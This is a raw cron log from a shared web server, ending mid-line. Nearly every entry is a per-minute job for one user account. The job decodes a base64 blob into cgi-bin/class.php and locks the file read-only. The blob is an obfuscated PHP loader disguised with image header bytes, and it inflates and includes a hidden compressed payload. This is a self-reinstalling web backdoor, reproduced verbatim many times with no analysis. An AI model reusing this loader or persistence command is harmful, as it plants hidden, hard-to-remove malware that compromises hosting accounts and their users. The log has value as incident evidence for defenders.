Nov 13 05:12:01 server CROND[24141]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:13:01 server CROND[25016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:14:01 server CROND[25877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:15:01 server CROND[26825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:15:01 server CROND[26826]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:15:01 server CROND[26824]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:16:01 server CROND[27373]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:17:02 server CROND[28303]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:18:01 server CROND[29144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:19:01 server CROND[30043]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:20:01 server CROND[30957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:20:01 server CROND[30958]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 05:20:01 server CROND[30959]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:20:01 server CROND[30960]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 05:20:01 server CROND[30962]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:21:01 server CROND[32061]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:22:01 server CROND[562]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:23:01 server CROND[1436]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:24:01 server CROND[2296]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:25:01 server CROND[3175]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 